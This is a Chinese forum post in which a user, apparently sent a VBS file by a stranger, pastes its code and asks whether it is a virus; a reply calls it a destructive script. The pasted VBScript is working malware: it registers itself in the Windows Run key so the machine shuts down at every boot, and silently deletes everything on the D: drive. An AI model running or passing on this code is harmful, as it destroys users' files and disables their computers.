有没有大神知道这个代码是什么吗？

   今天不小心在手机上打开一个vbs的文件不知道是不是病毒啊 。 关键发文件的还知道我手机号了   有没有大神懂的说下  

1. '------!!注意危险!! 5-开机一完毕就关机(计算机无法使用) !!注意危险!!----------dim fsodim wsset fso=Createobject("scripting.Filesystemobject")set ws=Createobject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCU\software\Microsoft\windows\CurrentVersion\Run\"&f.name,f.pathset ws=Createobject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'----------!!注意危险!! 6-格式化d盘(d盘下所有文件被删除) !!注意危险!!-------dim wsset ws=Createobject("wscript.shell")ws.Run "%Comspec% /c"&"Rd /s /Q d:\",0,ture'--------------------------------------------------------------------------------

复制代码

不属于病毒，是VBS编写的破坏性脚本。